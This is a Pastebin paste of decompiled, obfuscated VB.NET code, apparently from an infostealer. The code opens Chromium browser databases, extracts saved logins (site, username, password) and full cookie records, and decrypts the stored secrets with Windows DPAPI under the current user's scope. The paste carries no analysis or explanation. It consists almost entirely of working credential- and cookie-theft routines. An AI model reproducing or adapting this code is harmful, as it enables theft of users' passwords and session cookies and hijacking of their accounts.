Guest User

memes 2

a guest
Aug 29th, 2016
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 5.02 KB | None | 0 0
  1. Imports System
  2. Imports System.Collections.Generic
  3. Imports System.IO
  4. Imports System.Runtime.CompilerServices
  5. Imports System.Security.Cryptography
  6. Imports System.Text
  7. Public Class GClass47
  8.     Public Shared Function smethod_0(datapath As String, browser As String) As List(Of GClass50)
  9.         Dim list As List(Of GClass50) = New List(Of GClass50)()
  10.         Dim gClass As GClass51 = Nothing
  11.         If Not File.Exists(datapath) Then
  12.             Return list
  13.         End If
  14.         Dim result As List(Of GClass50)
  15.         Try
  16.             gClass = New GClass51(datapath)
  17.             GoTo IL_24
  18.         Catch ex_1B As Exception
  19.             result = list
  20.         End Try
  21.         Return result
  22.         IL_24:
  23.         If Not gClass.method_9("logins") Then
  24.             Return list
  25.         End If
  26.         Dim num As Integer = gClass.method_2()
  27.         For i As Integer = 0 To num - 1
  28.             Try
  29.                 Dim text As String = gClass.method_5(i, "origin_url")
  30.                 Dim text2 As String = gClass.method_5(i, "username_value")
  31.                 Dim text3 As String = GClass47.smethod_2(gClass.method_5(i, "password_value"))
  32.                 If Not String.IsNullOrEmpty(text) AndAlso Not String.IsNullOrEmpty(text2) AndAlso text3 IsNot Nothing Then
  33.                     list.Add(New GClass50() With { .URL = text, .Username = text2, .Password = text3, .Application = browser })
  34.                 End If
  35.             Catch ex_BD As Exception
  36.             End Try
  37.         Next
  38.         Return list
  39.     End Function
  40.  
  41.     Public Shared Function smethod_1(dataPath As String, browser As String) As List(Of GClass47.GClass48)
  42.         Dim list As List(Of GClass47.GClass48) = New List(Of GClass47.GClass48)()
  43.         Dim gClass As GClass51 = Nothing
  44.         If Not File.Exists(dataPath) Then
  45.             Return list
  46.         End If
  47.         Dim result As List(Of GClass47.GClass48)
  48.         Try
  49.             gClass = New GClass51(dataPath)
  50.             GoTo IL_26
  51.         Catch ex_1D As Exception
  52.             result = list
  53.         End Try
  54.         Return result
  55.         IL_26:
  56.         If Not gClass.method_9("cookies") Then
  57.             Return list
  58.         End If
  59.         Dim num As Integer = gClass.method_2()
  60.         For i As Integer = 0 To num - 1
  61.             Try
  62.                 Dim text As String = gClass.method_5(i, "host_key")
  63.                 Dim text2 As String = gClass.method_5(i, "name")
  64.                 Dim value As String = GClass47.smethod_2(gClass.method_5(i, "encrypted_value"))
  65.                 Dim path As String = gClass.method_5(i, "path")
  66.                 Dim expiresUTC As String = gClass.method_5(i, "expires_utc")
  67.                 Dim lastAccessUTC As String = gClass.method_5(i, "last_access_utc")
  68.                 Dim secure As Boolean = gClass.method_5(i, "secure") = "1"
  69.                 Dim httpOnly As Boolean = gClass.method_5(i, "httponly") = "1"
  70.                 Dim expired As Boolean = gClass.method_5(i, "has_expired") = "1"
  71.                 Dim persistent As Boolean = gClass.method_5(i, "persistent") = "1"
  72.                 Dim priority As Boolean = gClass.method_5(i, "priority") = "1"
  73.                 If Not String.IsNullOrEmpty(text) AndAlso Not String.IsNullOrEmpty(text2) AndAlso Not String.IsNullOrEmpty(value) Then
  74.                     list.Add(New GClass47.GClass48() With { .HostKey = text, .Name = text2, .Value = value, .Path = path, .ExpiresUTC = expiresUTC, .LastAccessUTC = lastAccessUTC, .Secure = secure, .HttpOnly = httpOnly, .Expired = expired, .Persistent = persistent, .Priority = priority, .Browser = browser })
  75.                 End If
  76.             Catch ex_1BF As Exception
  77.             End Try
  78.         Next
  79.         Return list
  80.     End Function
  81.  
  82.     Private Shared Function smethod_2(EncryptedData As String) As String
  83.         If EncryptedData IsNot Nothing AndAlso EncryptedData.Length <> 0 Then
  84.             Dim bytes As Byte() = ProtectedData.Unprotect(Encoding.[Default].GetBytes(EncryptedData), Nothing, DataProtectionScope.CurrentUser)
  85.             Return Encoding.UTF8.GetString(bytes)
  86.         End If
  87.         Return Nothing
  88.     End Function
  89.  
  90.     Public Class GClass48
  91.         Public Overrides Function ToString() As String
  92.             Return String.Format("Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}", New Object()() { Environment.NewLine, AddressOf Me.HostKey, AddressOf Me.Name, AddressOf Me.Value, AddressOf Me.Path, AddressOf Me.Expired, AddressOf Me.HttpOnly, AddressOf Me.Secure })
  93.         End Function
  94.  
  95.         Public Property Browser() As String
  96.  
  97.         Public Property Expired() As Boolean
  98.  
  99.         Public Property ExpiresUTC() As String
  100.  
  101.         Public Property HostKey() As String
  102.  
  103.         Public Property HttpOnly() As Boolean
  104.  
  105.         Public Property LastAccessUTC() As String
  106.  
  107.         Public Property Name() As String
  108.  
  109.         Public Property Path() As String
  110.  
  111.         Public Property Persistent() As Boolean
  112.  
  113.         Public Property Priority() As Boolean
  114.  
  115.         Public Property Secure() As Boolean
  116.  
  117.         Public Property Value() As String
  118.  
  119.         <CompilerGenerated()>
  120.         Private bool_0 As Boolean
  121.  
  122.         <CompilerGenerated()>
  123.         Private bool_1 As Boolean
  124.  
  125.         <CompilerGenerated()>
  126.         Private bool_2 As Boolean
  127.  
  128.         <CompilerGenerated()>
  129.         Private bool_3 As Boolean
  130.  
  131.         <CompilerGenerated()>
  132.         Private bool_4 As Boolean
  133.  
  134.         <CompilerGenerated()>
  135.         Private string_0 As String
  136.  
  137.         <CompilerGenerated()>
  138.         Private string_1 As String
  139.  
  140.         <CompilerGenerated()>
  141.         Private string_2 As String
  142.  
  143.         <CompilerGenerated()>
  144.         Private string_3 As String
  145.  
  146.         <CompilerGenerated()>
  147.         Private string_4 As String
  148.  
  149.         <CompilerGenerated()>
  150.         Private string_5 As String
  151.  
  152.         <CompilerGenerated()>
  153.         Private string_6 As String
  154.     End Class
  155. End Class
Add Comment
Please, Sign In to add comment